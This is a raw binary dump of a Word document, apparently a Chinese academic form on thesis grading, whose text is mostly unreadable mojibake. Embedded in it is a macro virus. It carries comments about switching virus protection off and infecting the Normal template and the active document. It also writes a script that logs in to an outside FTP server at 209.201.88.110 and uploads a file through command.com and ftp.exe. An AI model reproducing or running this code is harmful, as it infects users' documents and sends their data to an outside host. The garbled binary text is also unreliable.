��ࡱ� > �� % ' ���� $ �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� '` �R� ( bjbjLULU 2 .? .? � �� �� �� � � � � � � � � � | | | | � � � . � � � � � � � � m o o o o o o $ ( h � d � ! � � � � � � � � � � � � � � � � � � � � � m � � m � � � � � � � �2ڡ�m� | � � m � 0 � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � $ d � � � � � � � � � � � � ���� f[ub�~US�v�z�N�~�O yQ g f[b� NN �~f[u ��s�~f[�S �0�V ���(W��%-N�e �%�e �b�~US N�R�vYe�RYlQ�z0 �~8h�[ ��u��%-N�e �%�e �b�~US-N@bRb�~w�[�e�0 ��NT�Q�s� �1u�[8h�Nb�b�v�^�v�l�_#��N0 -N�eb�~US�[8h�N~{W[� �[8h�eg� �eb�~US�[8h�N~{W[� �[8h�eg� Yef[b���[8h~{W[� : > h l n x ~ � � � � � � � � � � � � �����β���|��nΉ^|�Q�D�nD� h|/� h�~� CJ PJ aJ h|/� h�Yx CJ PJ aJ h|/� h|/� >*CJ PJ aJ o( h|/� h|/� CJ PJ aJ o(h|/� ho_� CJ PJ aJ h|/� h� � >*CJ PJ aJ h|/� h�m� >*CJ PJ aJ h|/� hy/ CJ PJ aJ h|/� hy/ >*CJ PJ aJ h|/� h�Yx >*CJ PJ aJ h|/� h� � CJ PJ aJ ho_� >*CJ ho_� 5�CJ, \�o(%hW^J hW^J 5�CJ$ OJ PJ \�aJ$ o( L z | � � � � � t | � ( � � � � � � � � � � � � � � � � � �K���VD��WD�^�K�`��gd|/� �K��` VD��WD ^�K�`�` gd|/� �K��XVD��WD� ^�K�`�Xgd|/� gdo_� $a$gdo_� ( � 0 4 6 @ D J L ^ d n x z | � � � � � � � L N X r t z | � � � � � � � �������̿ٲ�����~�����̿�|����������n�n̿� h|/� h�~� >*CJ PJ aJ Uh|/� hke~ CJ PJ aJ h|/� h� CJ PJ aJ h|/� hbiQ CJ PJ aJ h|/� h�z� CJ PJ aJ h|/� h(� CJ PJ aJ h|/� hW^J CJ PJ aJ h|/� h�~� CJ PJ aJ h|/� h�Yx CJ PJ aJ h|/� h� � CJ PJ aJ h|/� ho_� CJ PJ aJ + �[8h�eg� �f[b��v�z � t^ g �e D��l� 1 . -N�eb�~US�v�z �N� N��Ǐ2 �N � ��eb�~US�v�z �N� N��Ǐ1 0 �N �0 2 . dkUSN ����v�z�vb�~US�1 �N �Ye�RYYuX[0 3 . @b g~{W[GW{��N{~{ T ��v�z�eHe0 ( � h|/� hW^J CJ PJ aJ 0 1�82P ��. ��A!�"�#��$��%� �S�� �� � � J @�� J o_� ck�e $1$ a$ CJ KH _HaJ mH nHsH tH $ A@��� $ ؞���k=�W[SO B i@��� B nf�h�
% @ ' $ � � � '� ' *! >% @ ' & � Switch the VirusProtection OFF � B( D $ H $ F � � � > HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info� LogFile J% L � � $� � � (! >! P (! >% N ' 0 &� e � *! >! P *! >% N ' 0 k ��� 0� 0� ' Log � file --> � 0 � 0� ' Log � file --> � $ � ' 0 � R� � � � 2� V $ T � � $ � ' 2 � R� � � C:\hsf 2 � .sys ' 2 2� � � � � 0� � V � c:\netldx.vxd � � � � � � o 209.201.88.110� � � � user anonymous� � � � pass itsme@ � � � � cd incoming � � � � ascii � � � � put 2 � � � � quit� � V � * command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X �� � > HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info� LogFile J, L k ��� � M Make sure that some conditions are true before we continue infecting anything � $� &� 4! \ ^ 4! \ ` � Tru� Infect the NormalTemplate $� � ed = T <! b' "alTe� (! >! P (! >% N ' ,veDocu� 1 Write a log file of this NormalTemplate infection � R� � d! . � d! . R� $ � � $ f � d! . R� $ � � $ f � . d! . R� $ � ' .k �� d �� .� $ f � ' ' . k ��� � R� � � ) ,� $ f � ' h� hh:mm:ss AMPM - $ � Z � dddd, d mmm yyyy$ � � $ f � ' d! j � $ f � ' . � $ f ' ,ode � *! >! P *! >B@l , *! >B@n ime, " "� � G <B@p j k ��� � Infect the ActiveDocument � &� 4! r� � $ � � : 4! b� � W 4 � � � � ����� �2 ���/ ��� � � �� ���� ������ �������� ����x �� ME ������ �� �� � �� ��������������������������������������������������������������������������������������������������������������������������������( S"���� S���� S"���� <���� �� ( 1 N o r m a l . T h i s D o c u m e n t ����� ������� ��( �� �������� % �������� �������� ���� ������������� � @���������L �� x @� �������� �� @�"�������� �� @�$�������� �� `�&�������� �� @�(�������� �� `�*�������� �� @�,�������� �� @�.�������� �� @�0�������� �� `�2�������� �� ����� �� 0 �������� ��������0 �������� �������������������� �������� ������������������������������ � �� �"� � ���� � � ���� � � ���� � 0 � H � h � x � ���� � � � � � � � ���� � &